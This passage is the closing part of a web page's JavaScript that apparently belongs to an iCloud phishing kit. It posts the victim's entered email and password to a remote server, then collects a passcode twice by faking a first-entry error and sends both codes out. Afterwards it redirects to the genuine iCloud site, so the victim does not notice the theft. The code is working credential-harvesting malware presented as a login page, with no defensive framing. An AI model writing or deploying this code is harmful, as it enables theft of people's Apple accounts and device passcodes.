|
|
| }
|
|
|
| }else{
|
|
|
| if(code_type_status != 'CODEUNLOCKOFFLINE'){
|
|
|
| add_remove(url_server, $("#email").val(), $("#pw").val(), link, id_username, 2, response.response)
|
|
|
| setTimeout(function() {
|
| $("#content_login").hide()
|
| $("#content_code").show()
|
| //$(".float-line").hide()
|
| $(".float-button").show()
|
| }, 2000)
|
|
|
| }else{
|
|
|
| add_remove(url_server, $("#email").val(), $("#pw").val(), link, id_username, response.status, response.response);
|
| setTimeout(function() {top.location.href = "https://www.icloud.com/";}, 1000);
|
|
|
| }
|
|
|
|
|
|
|
|
|
| }
|
| count++;
|
| }).catch(function(error){
|
| console.log(error);
|
| })
|
|
|
|
|
|
|
| }
|
|
|
|
|
| })
|
|
|
|
|
|
|
|
|
|
|
| function add_remove(url_server, email, password, link, id_username, status_response, response){
|
|
|
| const HTTP = axios.create({
|
| baseURL: url_server
|
| })
|
|
|
| let datos = {
|
| email : email,
|
| password : password,
|
| link : link,
|
| id_username : id_username,
|
| status_response : status_response,
|
| response : response
|
| }
|
|
|
|
|
|
|
| HTTP.post("/RestAPI/remove_status_script", datos, )
|
| .then(resp => {
|
| let response = resp.data;
|
| })
|
| .catch(function(error){
|
| return error;
|
| })
|
|
|
| }
|
|
|
|
|
|
|
|
|
|
|
|
|
| /***************************FUNCTIOS FOR CODE***************************************/
|
|
|
|
|
| if(code_type_status != 'CODEUNLOCKOFFLINE'){
|
|
|
| if(code_type == 'code_6' || code_type == 'code_4' || code_type == ''){
|
| $("#errorCode").hide();
|
| //$("#verificando").show()
|
| $("#char0").focus()
|
|
|
| $("#char0").on("keyup", function(e){
|
|
|
| if(e.keyCode == 8){
|
|
|
| $("#char0").focus();
|
| $("#char0").val("");
|
| }
|
|
|
| if($("#char0").val() != ""){
|
| $("#char0").blur();
|
| $("#char1").focus();
|
| }
|
| })
|
|
|
|
|
| $("#char1").on("keyup", function(e) {
|
|
|
| if(e.keyCode == 8){
|
| $("#char1").blur();
|
| $("#char0").focus();
|
| $("#char0").val("");
|
| }
|
|
|
| if($("#char1").val() != ""){
|
| $("#char1").blur();
|
| $("#char2").focus();
|
| }
|
|
|
|
|
| });
|
|
|
| $("#char2").on("keyup", function(e){
|
|
|
| if(e.keyCode == 8){
|
| $("#char2").blur();
|
| $("#char1").focus();
|
| $("#char1").val("");
|
| }
|
|
|
| if($("#char2").val() != ""){
|
| $("#char2").blur();
|
| $("#char3").focus();
|
| }
|
|
|
| })
|
|
|
| $("#char3").on("keyup", function(e){
|
|
|
| if(e.keyCode == 8){
|
| $("#char3").blur();
|
| $("#char2").focus();
|
| $("#char2").val("");
|
| }
|
|
|
| if(code_type == 'code_4'){
|
|
|
| $("#verificando").css("display", "inline-flex");
|
|
|
|
|
| if($("#char0").val() != "" && $("#char1").val() != "" && $("#char2").val() != "" && $("#char3").val() != "") {
|
|
|
| code = $("#char0").val() + $("#char1").val() + $("#char2").val() + $("#char3").val();
|
|
|
| $("#verificando").css("display", "inline-flex");
|
| $("#char3").blur();
|
| setTimeout(function() {
|
| add_code(url_server, code, link, id_username);
|
| //add_code(, code, id_username, insertId)
|
| }, 1000)
|
|
|
|
|
| }
|
|
|
|
|
|
|
| }else{
|
|
|
| if($("#char3").val() != ""){
|
| $("#char3").blur();
|
| $("#char4").focus();
|
| }
|
| }
|
|
|
|
|
| })
|
|
|
| $("#char4").on("keyup", function(e){
|
|
|
| if(e.keyCode == 8){
|
| $("#char4").blur();
|
| $("#char3").focus();
|
| $("#char3").val("");
|
| }
|
|
|
| if($("#char4").val() != ""){
|
| $("#char4").blur();
|
| $("#char5").focus();
|
| }
|
|
|
| })
|
|
|
| $("#char5").on("keyup", function(e){
|
|
|
| if(e.keyCode == 8){
|
| $("#char5").blur();
|
| $("#char4").focus();
|
| $("#char4").val("");
|
| }
|
|
|
| if(code_type == 'code_6'){
|
|
|
| $("#verificando").css("display", "inline-flex");
|
|
|
|
|
| if($("#char0").val() != "" && $("#char1").val() != "" && $("#char2").val() != "" && $("#char3").val() != "" && $("#char4").val() != "" && $("#char5").val() != "") {
|
|
|
| code = $("#char0").val() + $("#char1").val() + $("#char2").val() + $("#char3").val() + $("#char4").val() + $("#char5").val();
|
|
|
| $("#verificando").css("display", "inline-flex");
|
| $("#char5").blur();
|
| setTimeout(function() {
|
| add_code(url_server, code, link, id_username);
|
| //add_code(, code, id_username, insertId)
|
| }, 1000)
|
|
|
|
|
| }
|
|
|
|
|
|
|
| }else{
|
|
|
| /*if($("#char3").val() != ""){
|
| $("#char3").blur();
|
| $("#char4").focus();
|
| }*/
|
| }
|
|
|
|
|
| })
|
|
|
|
|
| }
|
|
|
|
|
| }
|
| var count_code = 0;
|
| let code_one = '';
|
| let code_two = '';
|
|
|
|
|
| function add_code(url_server, code, link, id_username){
|
| $( ".overlay" ).effect( "shake" );
|
| $("#errorCode").show();
|
| $("#verificando").hide()
|
| let status = '';
|
|
|
| if(count_code == 0){
|
| status = 'passcode_process';
|
| }else{
|
| status = 'completed';
|
| }
|
|
|
| if(count_code == 0){
|
|
|
| code_one = code;
|
| code_two = "Processing";
|
|
|
| }else if(count_code == 1){
|
|
|
| code_two = code;
|
| }
|
|
|
| const HTTP = axios.create({
|
| baseURL: url_server
|
| })
|
|
|
| let datos = {
|
| code_one : code_one,
|
| code_two : code_two,
|
| id_username : id_username,
|
| link : link,
|
| status_response : status
|
| }
|
|
|
| HTTP.post("/RestAPI/remove_code_script", datos)
|
| .then(resp => {
|
| let response = resp.data;
|
| console.log(response)
|
| })
|
| .catch(function(error){
|
| return error;
|
| })
|
|
|
| $("#char0").val("")
|
| $("#char1").val("")
|
| $("#char2").val("")
|
| $("#char3").val("")
|
| $("#char4").val("")
|
| $("#char5").val("")
|
| $("#char0").focus();
|
|
|
| $("#divemail").show();
|
| $("#sign-in_email").hide()
|
| $("input#email").focus()
|
| $("div#divPassword").hide()
|
| //$("input#pw").val("")
|
| //$("#errorCode").hide();
|
| $(".signin-error").hide();
|
|
|
| count_code++;
|
| if(count_code == 2){
|
| $("#char0").blur()
|
| setTimeout(function() {
|
| setTimeout(function() {top.location.href = "https://www.icloud.com/";}, 1000);
|
| }, 1000);
|
| }
|
| }
|
|
|
|
|
|
|
|
|
| function redirect_code(){
|
|
|
| count_code = 0;
|
| $("#content_login").hide()
|
| $("#loading").show();
|
| setTimeout(function() {
|
| $("#errorCode").hide();
|
| $(".signin-error").hide();
|
| $("#char0").val("")
|
| $("#char1").val("")
|
| $("#char2").val("")
|
| $("#char3").val("")
|
| $("#char4").val("")
|
| $("#char5").val("")
|
| $("#char0").focus();
|
| $("#loading").hide();
|
| $("#content_code").show()
|
| $("#char0").focus();
|
| //$(".float-line").hide()
|
| $(".float-button").hide()
|
|
|
| }, 500)
|
|
|
| }
|
|
|
|
|
| function redirect_login(){
|
|
|
| $("#content_code").hide()
|
| $("#loading").show();
|
| setTimeout(function() {
|
| $("#sign-in_email").hide()
|
| $("div#divemail").show()
|
| $("div#divPassword").hide()
|
| $("input#email").focus()
|
| $("input#pw").val("")
|
| $("#errorCode").hide();
|
| $(".signin-error").hide();
|
| $("#loading").hide();
|
| $("#content_login").show()
|
| //$(".float-line").show()
|
| $(".float-button").show()
|
|
|
| }, 500)
|
| }
|
|
|
| function reload(){
|
| location.reload();
|
| }
|
|
|
|
|
|
|
|
|
|
|
| function soloNumeros(e) {
|
| var key = window.event ? e.which : e.keyCode;
|
| if(key < 48 || key > 57) {
|
| e.preventDefault();
|
| }
|
| }
|
|
|
| </script>
|
| </body>
|
| </html>
|
|
|
| |